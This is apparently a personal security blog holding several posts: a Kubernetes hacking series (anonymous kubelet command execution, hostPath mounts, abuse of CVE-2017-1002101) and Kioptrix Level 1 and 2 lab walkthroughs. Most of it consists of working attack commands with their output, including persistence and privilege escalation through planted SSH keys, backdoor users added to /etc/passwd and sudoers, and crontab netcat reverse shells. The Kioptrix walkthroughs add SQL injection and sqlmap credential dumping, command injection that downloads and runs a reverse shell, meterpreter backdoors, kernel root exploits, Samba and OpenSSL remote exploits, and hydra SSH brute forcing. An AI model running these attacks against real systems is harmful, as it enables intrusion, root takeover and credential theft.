Friday 18 May 2018

Hacking kubernetes part 3 - Five ways to get root access to the worker node method 2 using CVE-2017-1002101

Hi all, today I am going to demonstrate five ways to get root access to a worker node not just from a hacked pod, but also from your local machine (As long as you can access the kubernetes api :) )

Before you read the rest of this post, please read this sites to get familiar with the problem :
https://thenewstack.io/kubernetes-races-to-fix-regressions-introduced-by-recent-security-patches/
https://github.com/kubernetes/kubernetes/issues/60813

I am going to demonstrate the bug CVE-2017-1002101, accessing the subpath inside a mounted volume.

There is five ( or even more) ways to exploit this bug, the first one is if your worker node is on read only mode, that means you can't get ssh root access to the worker node depending on how locked down the node is, BUT you can read everything from it, and that also means you can access any mounted volume storage which also means that you have access to the docker socket and that means root level access :)

/tmp/kubectl exec -ti pod2 -- sh -c "ssh-keygen -t rsa -b 4096 -f /tmp/hacker.key -q -N ''"
/tmp/kubectl exec -ti pod2 -- sh -c "cd /vol/root ; mkdir .ssh ; chmod 700 .ssh ; cd .ssh ; cat /tmp/hacker.key.pub >> authorized_keys ; chmod 600 authorized_keys"
worker_ip=$(/tmp/kubectl describe pod $pod2 | grep Node: | awk {'print $2'} | cut -f2 -d/)
/tmp/kubectl exec -ti pod2 -- sh -c "ssh -o StrictHostKeyChecking=no -i /tmp/hacker.key root@$worker_ip"


The second way is when the worker node is on read write mode for the / partition, which is usually the case, that means, you can get root access to the worker node, I have seen some nodes with some of the partitions RO and some RW, so I managed to craft an exploit for all different situations and mount points that are writeable. On this second attack, I try to add a user on /etc editing /etc/passwd and also /etc/sudoers. I also set the home for this user on a RW partition like /tmp. Then I can copy my keys over and ssh into the host.


/tmp/kubectl exec -ti pod2 -- sh -c "ssh-keygen -t rsa -b 4096 -f /tmp/hacker.key -q -N ''"
/tmp/kubectl exec -ti pod2 -- sh -c "echo -e 'hacker:$pass:2000:0:Hacker:/tmp/hacker:/bin/sh' >> /vol/etc/passwd"
/tmp/kubectl exec -ti pod2 -- sh -c "echo  'hacker ALL=(ALL) ALL' >> /vol/etc/sudoers"
/tmp/kubectl exec -ti pod2 -- sh -c "cd /vol/tmp ; mkdir hacker ; cd hacker ;  mkdir .ssh ; chmod 700 .ssh ; cd .ssh ; cat /tmp/hacker.key.pub >> authorized_keys ; chmod 600 authorized_keys ; chown 2000:0 /vol/tmp/hacker -R"
worker_ip=$(/tmp/kubectl describe pod pod2 | grep Node: | awk {'print $2'} | cut -f2 -d/)
/tmp/kubectl exec -ti pod2 -- sh -c "ssh -o StrictHostKeyChecking=no -i /tmp/hacker.key hacker@$worker_ip"



The third method is also if etc is RW, in case I can't ssh into the host for some security reason , I do the opposite, I ask the node to connect back to me with a reverse shell and the way I do this is by adding a cron under /etc/crontab

pod_ip=$(/tmp/kubectl describe pod pod2 | grep -i IP | awk {'print $2'})
echo -e "Adding entry on crontab on /etc/crontab to do a reverse shell on..."
echo -e "Preparing your evil host to accept the connection..."
/tmp/kubectl exec -ti pod2 -- sh -c "echo  '* * * * * root nc -c /bin/sh $pod_ip  6666' >> /vol/etc/crontab"
/tmp/kubectl exec -ti pod2 -- sh -c "nc -l -v -p 6666"


The fourth method is if /etc is also RO and I can't add user or add cron, so I try to do the same, adding a cron for the root user ( since I can write under root perms) to /var/spool/cron/root, I add the cron into this file, so again, it's the same, just a reverse shell back to my pod.

pod_ip=$(/tmp/kubectl describe pod pod2 | grep -i IP | awk {'print $2'})
echo -e "Adding entry on crontab on /var/spool/root to do a reverse shell on..."
echo -e "Preparing your evil host to accept the connection..."
/tmp/kubectl exec -ti pod2 -- sh -c "echo  '* * * * * nc -c /bin/sh $pod_ip 6666' >> /vol/var/spool/cron/root"
/tmp/kubectl exec -ti pod2 -- sh -c "nc -l -v -p 6666"


The fifth is using the docker socket that lives under /var/run/docker.sock , so I can thing like :

/tmp/kubectl exec -ti pod2 -- sh -c "yum install -y -q docker-client"
docker -H unix:////vol/var/run/docker.sock  run -i -v /:/tmp/host busybox ls -la /tmp/host/



I have wrote an exploit to make my life easier to exploit all options which I will demonstrate on the video. On my exploit I also have a mode to poke around the file system. PS : If you have noticed, I didn't give much information on how to exploit this, that is because this was only fixed on version 1.10.

Sunday 8 April 2018

Hacking kubernetes part 2 - Getting root access to the worker node method 1 (By misconfiguration)

Hi everyone, in today's post I am going to explain how to ssh into the worker node where the pod is hosted. In order to do this, you need to be able to complete part 1 of this tutorial, if you have not seen yet, please do before watching this one.
Now that you are inside the hacked pod with ssh connection, let's try to mount the root volume for the worker node where this pod is running. You should be able to this as it's enabled by default, if the sysadmin didn't changed it, you are good to go. You need this file and the permission to launch pods from inside the hacked pod, again, if that pod is using the default service account you should be able to do it.

File : deployment.yaml

---
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: task-pv-claim
spec:
  storageClassName: manual
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi
---
kind: PersistentVolume
apiVersion: v1
metadata:
  name: task-pv-volume
  labels:
    type: local
spec:
  storageClassName: manual
  capacity:
    storage: 1Gi
  accessModes:
    - ReadWriteOnce
  hostPath:
    path: "/root"
---
kind: Pod
apiVersion: v1
metadata:
  name: sshworker
spec:
  volumes:
    - name: task-pv-storage
      persistentVolumeClaim:
       claimName: task-pv-claim
  containers:
    - name: task-pv-container
      image: centos
      name: sshworker
      command: ["sleep"]
      args: ["66666"]
      volumeMounts:
        - mountPath: "/mnt/worker_node"
          name: task-pv-storage

From inside the hacked pod, apply this config file

[root@hacked-6565c4954f-fnnvj /]# kubectl apply -f deployment.yaml


Now open a bash session on the pod that you just created from inside the hacked pod :


[root@hacked-6565c4954f-fnnvj /]# kubectl exec -ti sshworker /bin/bash


If everything went ok, you should be able to see the contents of the /root folder of the worker node.


[root@sshworker /]# cd /mnt/worker_node/
[root@sshworker worker_node]# 
[root@sshworker worker_node]# ls -la
total 8
drwxr-xr-x 3 root root    0 Apr  8 18:01 .
drwxr-xr-x 1 root root 4096 Apr  8 17:59 ..
-rw------- 1 root root 1737 Apr  8 17:56 .bash_history
drwx------ 2 root root    0 Apr  4 20:48 .ssh
-rw-r--r-- 1 root root    0 Apr  8 18:01 minikube_host

Now go back to the sshworker pod. You need to install a few packages to generate the ssh keys:


[root@sshworker worker_node]# yum install -y -q openssh-clients.x86_64 openssh.x86_64
warning: /var/cache/yum/x86_64/7/base/packages/fipscheck-lib-1.4.1-6.el7.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
Public key for fipscheck-lib-1.4.1-6.el7.x86_64.rpm is not installed
Public key for openssh-7.4p1-13.el7_4.x86_64.rpm is not installed
Importing GPG key 0xF4A80EB5:
 Userid     : "CentOS-7 Key (CentOS 7 Official Signing Key) "
 Fingerprint: 6341 ab27 53d7 8a78 a7c2 7bb1 24c6 a8a7 f4a8 0eb5
 Package    : centos-release-7-4.1708.el7.centos.x86_64 (@CentOS)
 From       : /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[root@sshworker worker_node]#

Now let's generate a ssh key with :


[root@sshworker /]# ssh-keygen -t rsa -b 4096 -f /tmp/hacker.key -q -N ''
[root@sshworker /]#


Check if there is a .ssh folder on root, if there is you don't have to do the following steps, but if can't see, then you do:


ls -la .ssh ( is nothing, then...)
mkdir .ssh
chmod 700 .ssh
cd .ssh


Now add you public key to the authorized_keys file:


cat /tmp/hacker.key.pub >> authorized_keys
chmod 600 authorized_keys


Now get the ip address of the host where your pod is running with, run this from the hacked pod where you have installed kubectl command:


[root@hacked-6565c4954f-fnnvj /]# kubectl describe pod sshworker | grep Node:
Node:         k8sdemo/192.168.99.100


And now try to ssh into the host:


[root@sshworker .ssh]# ssh -i /tmp/hacker.key -o StrictHostKeyChecking=no root@192.168.99.100
                         _             _
            _         _ ( )           ( )
  ___ ___  (_)  ___  (_)| |/')  _   _ | |_      __
/' _ ` _ `\| |/' _ `\| || , <  ( ) ( )| '_`\  /'__`\
| ( ) ( ) || || ( ) || || |\`\ | (_) || |_) )(  ___/
(_) (_) (_)(_)(_) (_)(_)(_) (_)`\___/'(_,__/'`\____)

# id
uid=0(root) gid=0(root) groups=0(root)



And boom!!! You are on the worker node, now you can do this for all other worker nodes.

Sunday 1 April 2018

Hacking kubernetes part 1 - Kubelet exec and reverse shell from pod.

Hello everyone, it's been a while since my last post, main reason is because there was nothing interesting to post until now :) I will be posting a series of posts on how to hack kubernetes since this is a hot topic at the moment.

Kubelet api by default allows  to be accessed with anonymous auth, no keys , no password, nothing is needed.


This is what you are going to need to reproduce this :

1) Running  kubernetes <=1.9 , it has been fixed  on version 1.10: https://github.com/kubernetes/kubernetes/pull/59666
2) Kubelet api  port must be exposed to the internet or to your local network, the port 10255 and 10250
3) rbac rules misconfigured or not even present.
4) A cluster to test, I recommend installing minikube.
5) You need to find a container that is not read only to install stuff, but even if it's not read only, you can get a lot of info from it like secrets and aws iam information.


So, let's do this, I did this on minikube just to play and prove the concept. That's the easiest way to play with this vulnerability. So go ahead and install minikube or you can run this on your cluster.
Once you have your minikube installed , you need to the ip address, get it with



angelo http://poc-hack.blogspot.co.uk/:~ minikube ip


Mine is 192,.168.99.100, yours might be different. In order to do the curl's below, you are going to need the pod name and the id.
So let's launch 2 pods, one with the vulnerable host and the other one that will be waiting our reverse shell.
1) Launch the evil container that will be listening for our reverse shell.


angelo http://poc-hack.blogspot.co.uk/:~ kubectl run evil --image=centos -it /bin/bash



2) Lauch the hacked container that we will use to hack into.


angelo http://poc-hack.blogspot.co.uk/:~ kubectl run hacked --image=centos -it /bin/bash



The pod name is "hacked" and the pod id you can get with :


angelo http://poc-hack.blogspot.co.uk/:~ kubectl get pods
NAME                                  READY     STATUS    RESTARTS        AGE
hacked-65d6998b6c-rgl28               1/1       Running    1              48m
evil-7d7fff7d4c-5lmfz                 1/1       Running    1              1



So in my case, the pod name is "hacked" and the pod id is "hacked-65d6998b6c-rgl28"
If you are wondering how are you going to get this information from outside, this is how :


angelo http://poc-hack.blogspot.co.uk/:~ curl --insecure \
 https://kube-node-here:10250/pods | jq



In my case, that command would translate to 192.168.99.100 because that's my minikube ip, in a real case scenario, that would be the ip of the master node and this is to get the pod names:


angelo http://poc-hack.blogspot.co.uk/:~ curl -s --insecure \
https://192.168.99.100:10250/runningpods/ | jq .items[].spec.containers[].name
"mongodb"
"external-evil-host"
"hacked"
"sidecar"
"dnsmasq"
"kubedns"
"kubernetes-dashboard"
"storage-provisioner"
"kube-addon-manager"



And this is how to get the pod ids :

angelo http://poc-hack.blogspot.co.uk/:~ curl -s --insecure \
https://192.168.99.100:10250/runningpods/ | jq .items[].metadata.name
"mongodb-68cbf975f7-45kjh"
"external-evil-host-78d68f7789-2dmvw"
"hacked-6565c4954f-wdj4x"
"kube-dns-54cccfbdf8-dvtcm"
"kubernetes-dashboard-77d8b98585-mtpp9"
"storage-provisioner"
"kube-addon-manager-k8sdemo"

From the command above you can get the pod id and name.
Now let's get into the interesting part.
Open 3 tabs on your terminal, one with a shell on the hacked container, one on the evil container and another one where you are going to run lots of curl commands.
The first thing you are going to do is to create a file a test. Run this on your localhost.


angelo http://poc-hack.blogspot.co.uk/:~ curl -sk \
https://192.168.99.100:10250/run/default/hacked-6565c4954f-wdj4x/hacked \
-d "cmd=touch /hello_world"



Now check your hacked container shell, and check if the file hello_world was created :


angelo http://poc-hack.blogspot.co.uk/:~ kubectl exec -ti hacked-65d6998b6c-rgl28 /bin/bash
[root@hacked-65d6998b6c-rgl28 /]#
[root@hacked-65d6998b6c-rgl28 /]# ls -la /hello_world
-rw-r--r-- 1 root root 0 Mar 22 16:22 /hello_world


Alright, now that we know that all is well and working, let's install nc on that hacked box, so we can launch a reverse shell:
1) Install nc in case it's not there yet.

angelo http://poc-hack.blogspot.co.uk/:~  curl -sk \
https://192.168.99.100:10250/run/default/hacked-6565c4954f-wdj4x/hacked \
-d "cmd=yum install -y nc"

Loaded plugins: fastestmirror, ovl
Loading mirror speeds from cached hostfile
 * base: mirror.freethought-internet.co.uk
 * extras: mirrors.coreix.net
 * updates: mirrors.coreix.net
Resolving Dependencies
--> Running transaction check
---> Package nmap-ncat.x86_64 2:6.40-7.el7 will be installed
--> Finished Dependency Resolution
Dependencies Resolved
========================================================================
 Package            Arch            Version                 Repository     Size
========================================================================
Installing:
 nmap-ncat          x86_64          2:6.40-7.el7            base          201 k
Transaction Summary
========================================================================
Install  1 Package
Total download size: 201 k
Installed size: 414 k
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : 2:nmap-ncat-6.40-7.el7.x86_64                                1/1
  Verifying  : 2:nmap-ncat-6.40-7.el7.x86_64                                1/1
Installed:
  nmap-ncat.x86_64 2:6.40-7.el7
Complete!

2) Do the same for the evil container (execute this on your localhost):



[root@evil-ccb5dd4fc-tqf9s /]# yum install -y nc net-tools
Loaded plugins: fastestmirror, ovl
base                                                                                                                                      | 3.6 kB  00:00:00
extras                                                                                                                                    | 3.4 kB  00:00:00
updates                                                                                                                                   | 3.4 kB  00:00:00
(1/4): extras/7/x86_64/primary_db                                                                                                         | 185 kB  00:00:00
(2/4): base/7/x86_64/group_gz                                                                                                             | 156 kB  00:00:02
(3/4): updates/7/x86_64/primary_db                                                                                                        | 6.9 MB  00:00:09
(4/4): base/7/x86_64/primary_db                                                                                                           | 5.7 MB  00:00:26
Determining fastest mirrors
 * base: mirror.econdc.com
 * extras: mirrors.coreix.net
 * updates: mirror.econdc.com
Resolving Dependencies
--> Running transaction check
---> Package nmap-ncat.x86_64 2:6.40-7.el7 will be installed
--> Processing Dependency: libpcap.so.1()(64bit) for package: 2:nmap-ncat-6.40-7.el7.x86_64
--> Running transaction check
---> Package libpcap.x86_64 14:1.5.3-9.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

=================================================================================================================================================================
 Package                                Arch                                Version                                      Repository                         Size
=================================================================================================================================================================
Installing:
 nmap-ncat                              x86_64                              2:6.40-7.el7                                 base                              201 k
Installing for dependencies:
 libpcap                                x86_64                              14:1.5.3-9.el7                               base                              138 k

Transaction Summary
=================================================================================================================================================================
Install  1 Package (+1 Dependent package)

Total download size: 338 k
Installed size: 731 k
Downloading packages:
warning: /var/cache/yum/x86_64/7/base/packages/nmap-ncat-6.40-7.el7.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
Public key for nmap-ncat-6.40-7.el7.x86_64.rpm is not installed
(1/2): nmap-ncat-6.40-7.el7.x86_64.rpm                                                                                                    | 201 kB  00:00:00
(2/2): libpcap-1.5.3-9.el7.x86_64.rpm                                                                                                     | 138 kB  00:00:04
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
Total                                                                                                                             82 kB/s | 338 kB  00:00:04
Retrieving key from file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
Importing GPG key 0xF4A80EB5:
 Userid     : "CentOS-7 Key (CentOS 7 Official Signing Key) "
 Fingerprint: 6341 ab27 53d7 8a78 a7c2 7bb1 24c6 a8a7 f4a8 0eb5
 Package    : centos-release-7-4.1708.el7.centos.x86_64 (@CentOS)
 From       : /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : 14:libpcap-1.5.3-9.el7.x86_64                                                                                                                 1/2
  Installing : 2:nmap-ncat-6.40-7.el7.x86_64                                                                                                                 2/2
  Verifying  : 2:nmap-ncat-6.40-7.el7.x86_64                                                                                                                 1/2
  Verifying  : 14:libpcap-1.5.3-9.el7.x86_64                                                                                                                 2/2

Installed:
  nmap-ncat.x86_64 2:6.40-7.el7

Dependency Installed:
  libpcap.x86_64 14:1.5.3-9.el7

Complete!




3) Prepare the reverse shell connection on your evil host (execute this on your evil container, you need to get the ip address, so you can use on the other container to connect to this one:


[root@evil-ccb5dd4fc-tqf9s /]# ifconfig | grep inet | head -n1
        inet 172.17.0.4  netmask 255.255.0.0  broadcast 0.0.0.0

[root@external-evil-host-78d68f7789-2dmvw ~]# nc -l -p 6666



4) Now let's try to run a reverse shell and get shell access to the container


angelo http://poc-hack.blogspot.co.uk/:~  curl -sk \
https://192.168.99.100:10250/run/default/hacked-6565c4954f-wdj4x/hacked \
-d "cmd=nc -c /bin/sh 172.17.0.4 6666"




6) Now go to the evil host and you should see the connecting from the hacked box:



root@external-evil-host-78d68f7789-2dmvw ~]# nc -l -p 6666 
id
uid=0(root) gid=0(root) groups=0(root)



And that's it, you are inside, game over.


Sunday 19 August 2012

Kioptrix Level 2

Hi everyone, in this post I will explain how to get root on Kioptrix LEVEL 2.
Lets start with the basics, nmap!


Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-13 10:30 BST
Nmap scan report for 172.16.1.189
Host is up (0.021s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE              VERSION
22/tcp   open  ssh                  OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http                 Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
443/tcp  open  ssl/http             Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp                  CUPS 1.1
3306/tcp open  mysql                MySQL (unauthorized)
MAC Address: 00:50:56:AF:62:3F (VMware)
Ok , so for this one ,lets try to access apache on that ip address Open your browser and and type the ip address of your kioptrix, in my case is http://172.16.1.189 As you can see there is a login webpage , we don't know the user/password, but  we can guess, OR try to do a sql injection, in my case, I am doing the sql  injection, so on the username field, type : admin  , and on the password field
type : ' OR 1=1 -- -
If you want to dig a bit more on the sql injection side of things, we can use sqlmap to fetch some information from the database. Here are some examples:
1) Available databases :
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --dbs
Result:
available databases [2]:
[*] `test\_%`
[*] test
2) Identify the current database
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --current-db
Result :
current database:    'webapp'
3) Find all mysql users passwords
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --passwords
Result :
[*] john [1]:
    password hash: 5a6914ba69e02807
[*] root [1]:
    password hash: 5a6914ba69e02807
And so on. You can also have a sql shell on the server if you want.
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --sql-shell
>select * from users; [2]:
[*] 1, 5afac8d85f, admin
[*] 2, 66lajGGbla, john

Now, coming back to the browser you can see a new web page saying that you can  ping a machine on the network, that means we can execute commands and if not properly configured, we can run more than just "ping". Lets try ping first, then we can try something else. If you typed your ip address on that box, you will be forwarded to http://172.16.1.189/pingit.php That's the one we need to look now. So, instead just ping, lest try to add something else to the command like "; cat /etc/passwd" and see what happens.As you can see, we can read the /etc/passwd, that means we have a webshell to
the server and now  we can execute anything ( almost ;) )  , so lets upload our backdoor to the server.
We can do this in many ways, I will me explaining the 2 methods:
1) Upload a reverse shell ( the easyest way)
172.16.1.1 ;  wget -O /tmp/reverse_shell
http://172.16.1.79/exploits/reverse_shell2
2) Change permission to execute.
172.16.1.1 ; chmod 777 /tmp/reverse_shell
3) Prepare your BT server for the connection
nc -l -p 10000
4)And now run the reverse_shell
172.16.1.1 ; /tmp/reverse_shell
Done, now we have shell, we can try the same using backtrack.
1) We need to start apache :  /etc/init.d/apache2 start
2) We need to create our backdoor:
LHOST : IP of your backtrack
LPORT : Port that backtrack will be listening to
/var/www/backdoor.php.txt : That's where it will save your backdoor.
So the complete command is :
msfpayload php/meterpreter/reverse_tcp LHOST=172.16.1.79 LPORT=8080 R >
/var/www/backdoor.php.txt

Now, we need to start our session handler.

msfconsole
use multi/handler
search php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 8080
exploit -j -z
Leave this one running and open open another shell on your backtrack.
We need to edit our backdoor.php.txt ( script kid stuff)
vi /var/www/backdoor.php.txt. Remove "#" from the first line and save it.

Next step is to insert this in our ping command line .
172.16.1.1 ; cd /tmp ; wget -O backdoor.php 172.16.1.79/backdoor.php.txt ; php
-f backdoor.php
If you look into that other shell, you should be reading this by now :
[*] Sending stage (39217 bytes) to 172.16.1.189
[*] Meterpreter session 4 opened (172.16.1.79:8080 -> 172.16.1.189:32807) at
2012-08-13 14:12:00 +0100
meterpreter >
Great, now that we have access to the box, we need to get root.
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686
i386 GNU/Linux

Now we need to find an exploit for that kernel . If you google it, you will end up on securityfocus or other similar. You can download the exploit from securityfocus or from exploit-db or use the  one that is inside backtrack.
http://www.exploit-db.com/exploits/9542/
http://www.securityfocus.com/bid/36108/info

Or ... you can search inside backtrack.
/pentest/exploits/exploitdb/searchsploit  kernel linux local
And that's the one you are looking for
Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit           /linux/local/9435.txt
Again, you can try other exploits as well. Now that you have the exploit, compile it and run it on the target machine.
wget http://172.16.1.79/exploits/ip_append_data.c
gcc -o get_root ip_append_data.c
./get_root
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

And that's it, game over.

Sunday 12 August 2012

Kioptrix Hacking challenge LEVEL 1 part 3 (SSH)


Hi folks, ok, another option that we have to break into kioptix level 1, is bruteforce ssh, its quite simple, but takes a LOT of time if you are unlucky. Here is how you can crack down via bruteforce.
In your backtrack type:
cd /pentest/passwords/wordlists/
hydra -l root -P rockyou.txt -t 3 -o login.pwd 172.16.1.144 ssh
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2012-08-08 13:33:19
[DATA] 3 tasks, 1 server, 14344398 login tries (l:1/p:14344398), ~4781466 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 172.16.1.144   login: root   password: 123456
[STATUS] attack finished for 172.16.1.144 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2012-08-08 13:33:36


As you can see, it found the pasword 123456 for the user root.

PS : I changed the root password to 123456 for this demonstration only.


Kioptrix Hacking challenge LEVEL 1 part 2 (SAMBA)


Kioptrix Hacking challenge LEVEL 1 part 2 (SAMBA)
Hi everyone, this is the second part of the level 1, now we are going to exploit samba. As you remember from the last video, we managed to get root using an SSL exploit for apache, now its time to exploit a samba vulnerabilities. So, lets start.
First, lets run an nmap
nmap -sV 172.16.1.144
Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-07 11:12 BST
Nmap scan report for 172.16.1.144
Host is up (0.00068s latency).
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd (workgroup: MYGROUP)
MAC Address: 00:50:56:AF:5A:B9 (VMware)
Ok, this output doesn't tell the version of samba, but we can try two commands
to list the version :
1) smbclient -L 172.16.1.144
Result :
Enter root's password:
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
 Sharename       Type      Comment
 ---------       ----      -------
cli_rpc_pipe_open_noauth: rpc_pipe_bind for pipe \srvsvc failed with error
ERRnosupport
 IPC$            IPC       IPC Service (Samba Server)
 ADMIN$          Disk      IPC Service (Samba Server)
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

2) smbclient //172.16.1.144/IPC$
Result:
Enter root's password:
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
tree connect failed: ERRnosuchshare
Ok, now we know its running version 2.2.1a, lets try to find an exploit for
it. If you google for "samba 2.2.1a" exploit
You will find this exploit
http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
So.. lets go back to our backtrack , download and compile it.
wget http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
gcc -o exploit 0x333hate.c
./exploit  -t 172.16.1.144
Result :
[~] 0x333hate => samba 2.2.x remote root exploit [~]
 [~]        coded by c0wboy ~ www.0x333.org       [~]
 [-] connecting to 172.16.1.144:139
 [-] stating bruteforce
 [-] testing 0xbfffffff
 [-] testing 0xbffffdff
 [-] testing 0xbffffbff
 [-] testing 0xbffff9ff
 [-] testing 0xbffff7ff
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)


There is another way to exploit this samba using metasploit. Lets try that.
msfconsole
search samba
use linux/samba/trans2open
show options
set RHOST 172.16.1.144
show payloads
set PAYLOAD linux/x86/shell/bind_tcp
show options
exploit
[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 172.16.1.144
[*] Trying return address 0xbffff9fc...
[*] Command shell session 1 opened (172.16.1.79:52832 -> 172.16.1.144:4444) at
2012-08-07 11:51:46 +0100
id
uid=0(root) gid=0(root) groups=99(nobody)


Success!! We got again on the box.

Kioptrix Hacking challenge LEVEL 1 part 1 (APACHE)



Kioptrix Hacking challenge LEVEL 1 part 1 (APACHE)
Hi everyone, in this post I will be demonstrating how to hack Kioptrix Level 1 .But what is kioptrix? Its a linux distro with lots of vulnerabilities, so we can play and test our knowledgement. To download, go to : http://www.kioptrix.com/blog/?page_id=135  , and use vmware player to open the files and you are ready to go.So, now that's everything up and running, we need to discover the IP address of the target machine because it gets via DHCP from your network ( by the way, you need a DHCP server in order for this to work). To find out what's the IP address , lets run an nmap on our network that will look for live hosts.

# nmap -sn 172.16.1.0/24
Nmap scan report for 172.16.1.144
Host is up (0.0010s latency).
MAC Address: 00:50:56:AF:5A:B9 (VMware)

Great, now that we found it the IP address, lets see what's running in the host.

#nmap -sV 172.16.1.144


Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-03 16:47 BST
Nmap scan report for 172.16.1.144
Host is up (0.033s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE              VERSION
22/tcp   open  ssh                  OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http                 Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp  open  netbios-ssn          Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/http             Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
1024/tcp open  status (status V1)   1 (rpc #100024)
MAC Address: 00:50:56:AF:5A:B9 (VMware)


Ok, at this point there is a lot to do. We need to find if the running version of each open port has an exploit for the version.To get the proper version and vulnerability ID, lets use nikto to scan the host. I am not going to explain all vulnerabilities of the distro, I think two is good enough, you guys can try for your self's other ways to break into. So I am going to show how to break in using apache and samba.
1) cd /pentest/web/nikto/
2) ./nikto.pl -host 172.16.1.144
3) The results (The intersting bits) :
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.


Right, now we need to google it for the CVEs or you can search for the exploit on backtrack itself.
Run:
/pentest/exploits/exploitdb/searchsploit  apache linux remote
Webfroot Shoutbox < 2.32 (Apache) Remote Exploit  /linux/remote/34.pl
Apache <= 2.0.45 APR Remote Exploit -Apache-Knacker.pl   /linux/remote/38.pl
Apache mod_gzip (with debug_mode) <= 1.2.26.1a Remote Exploit    /linux/remote/126.c
Apache 1.3.*-2.0.48 mod_userdir Remote Users Disclosure Exploit     /linux/remote/132.c
Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c)/linux/remote/764.c
Apache Tomcat Connector (mod_jk) Remote  Exploit (exec-shield)     /linux/remote/4162.c
Apache Tomcat (webdav) Remote File Disclosure Exploit (ssl support)     /linux/remote/4552.pl
Apache Tomcat Connector jk2-2.0.2 (mod_jk2) Remote Overflow Exploit /linux/remote/5386.txt


As you can see, there is one for OpenSSL (764.c) OpenFuck.
Now, because this is really old, you need to change the exploit a bit in order to make it work.
1) Add: #include <openssl rc4.h>
2) Add: #include <openssl md5.h>
3) Search inside the exploit for "wget" and change the url for the correct one because that is not valid anymore. If you google it for ptrace-kmod.c , you will find that the correct address is :
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
So, just change that on the exploit, save it .
Now we need to compile it, but before that, we need install the ssl-dev libraries.
Run :
apt-get install libssl-dev
cd /pentest/exploits/exploitdb/platforms/linux/remote
gcc -o OpenFuck 764.c -lcrypto
Run the exploit now
./OpenFuck
Look for the target, we know that its running apache on a redhat, and that is running 1.3.20 so lets filter that:
./OpenFuck  | grep -i redhat | grep "1.3.20"
That limits the results to only two
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
So we can try first the target as 0x6a and if that doesn't work, we can try 0x6b.
./OpenFuck 0x6a 172.16.1.144 443
Result :
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fc3f0
Ready to send shellcode
Spawning shell...
Good Bye!

As you can see, that did not worked.
Lets try the other one now.
./OpenFuck 0x6b 172.16.1.144 443
Result:
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f83c0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
